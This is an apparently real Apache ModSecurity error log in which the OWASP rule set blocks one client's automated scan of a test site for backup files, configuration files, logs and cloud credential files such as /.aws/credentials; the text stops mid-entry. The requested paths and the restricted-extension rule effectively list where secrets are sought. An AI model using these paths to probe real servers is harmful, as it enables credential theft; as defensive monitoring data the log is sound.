[Wed Mar 11 20:56:37.843388 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.bak"] [unique_id "abHI9WZJKjLICnPMAflzvQAAAAM"]
[Wed Mar 11 20:56:37.843541 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.bak"] [unique_id "abHI9WZJKjLICnPMAflzvQAAAAM"]
[Wed Mar 11 20:56:37.919160 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.old"] [unique_id "abHI9Uas0R32zSQmEomvPQAAABM"]
[Wed Mar 11 20:56:37.919434 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.old"] [unique_id "abHI9Uas0R32zSQmEomvPQAAABM"]
[Wed Mar 11 20:56:37.919586 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.old"] [unique_id "abHI9Uas0R32zSQmEomvPQAAABM"]
[Wed Mar 11 20:56:38.015851 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.backup"] [unique_id "abHI9lHINoBDNij9jADMEwAAAAE"]
[Wed Mar 11 20:56:38.016102 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.backup"] [unique_id "abHI9lHINoBDNij9jADMEwAAAAE"]
[Wed Mar 11 20:56:38.016244 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.backup"] [unique_id "abHI9lHINoBDNij9jADMEwAAAAE"]
[Wed Mar 11 20:56:38.541234 2026] [authz_core:error] [pid 2634340] [client 185.177.72.60:51354] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Wed Mar 11 20:56:39.205552 2026] [authz_core:error] [pid 2634212] [client 185.177.72.60:51286] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Wed Mar 11 20:56:39.214802 2026] [:error] [pid 2634340] [client 185.177.72.60:51354] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abHI9xM06ibq-fKkKHKWGQAAABA"]
[Wed Mar 11 20:56:39.214981 2026] [:error] [pid 2634340] [client 185.177.72.60:51354] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abHI9xM06ibq-fKkKHKWGQAAABA"]
[Wed Mar 11 20:56:39.215131 2026] [:error] [pid 2634340] [client 185.177.72.60:51354] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abHI9xM06ibq-fKkKHKWGQAAABA"]
[Wed Mar 11 20:56:39.433773 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.inc"] [unique_id "abHI92ZJKjLICnPMAflzwAAAAAM"]
[Wed Mar 11 20:56:39.434035 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.inc"] [unique_id "abHI92ZJKjLICnPMAflzwAAAAAM"]
[Wed Mar 11 20:56:39.434162 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.inc"] [unique_id "abHI92ZJKjLICnPMAflzwAAAAAM"]
[Wed Mar 11 20:56:39.537129 2026] [:error] [pid 2634340] [client 185.177.72.60:51354] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abHI9xM06ibq-fKkKHKWHAAAABA"]
[Wed Mar 11 20:56:39.537302 2026] [:error] [pid 2634340] [client 185.177.72.60:51354] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abHI9xM06ibq-fKkKHKWHAAAABA"]
[Wed Mar 11 20:56:39.537455 2026] [:error] [pid 2634340] [client 185.177.72.60:51354] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abHI9xM06ibq-fKkKHKWHAAAABA"]
[Wed Mar 11 20:56:39.783197 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abHI9yvA7KL3vWbRrBM5ggAAAAY"]
[Wed Mar 11 20:56:39.783393 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abHI9yvA7KL3vWbRrBM5ggAAAAY"]
[Wed Mar 11 20:56:39.783540 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abHI9yvA7KL3vWbRrBM5ggAAAAY"]
[Wed Mar 11 20:56:39.896867 2026] [:error] [pid 2634338] [client 185.177.72.60:51236] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abHI95X0JxooV6RUP8UrbQAAAA4"]
[Wed Mar 11 20:56:39.897053 2026] [:error] [pid 2634338] [client 185.177.72.60:51236] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abHI95X0JxooV6RUP8UrbQAAAA4"]
[Wed Mar 11 20:56:39.897202 2026] [:error] [pid 2634338] [client 185.177.72.60:51236] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abHI95X0JxooV6RUP8UrbQAAAA4"]
[Wed Mar 11 20:56:39.937700 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".travis.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "abHI94MnPAWHo4A6z1M1zwAAAAk"]
[Wed Mar 11 20:56:39.937876 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "abHI94MnPAWHo4A6z1M1zwAAAAk"]
[Wed Mar 11 20:56:39.938029 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "abHI94MnPAWHo4A6z1M1zwAAAAk"]
[Wed Mar 11 20:56:40.507706 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "abHI-N0ogWVDBS0cZUmEpgAAABI"]
[Wed Mar 11 20:56:40.507946 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "abHI-N0ogWVDBS0cZUmEpgAAABI"]
[Wed Mar 11 20:56:40.508083 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "abHI-N0ogWVDBS0cZUmEpgAAABI"]
[Wed Mar 11 20:56:40.554358 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "abHI-E08hzg1BXieW_K37AAAAAI"]
[Wed Mar 11 20:56:40.554606 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "abHI-E08hzg1BXieW_K37AAAAAI"]
[Wed Mar 11 20:56:40.554742 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "abHI-E08hzg1BXieW_K37AAAAAI"]
[Wed Mar 11 20:56:40.562489 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abHI-A5jPndcvXiI_NwnKAAAAA0"]
[Wed Mar 11 20:56:40.562686 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abHI-A5jPndcvXiI_NwnKAAAAA0"]
[Wed Mar 11 20:56:40.562795 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abHI-A5jPndcvXiI_NwnKAAAAA0"]
[Wed Mar 11 20:56:40.573846 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag 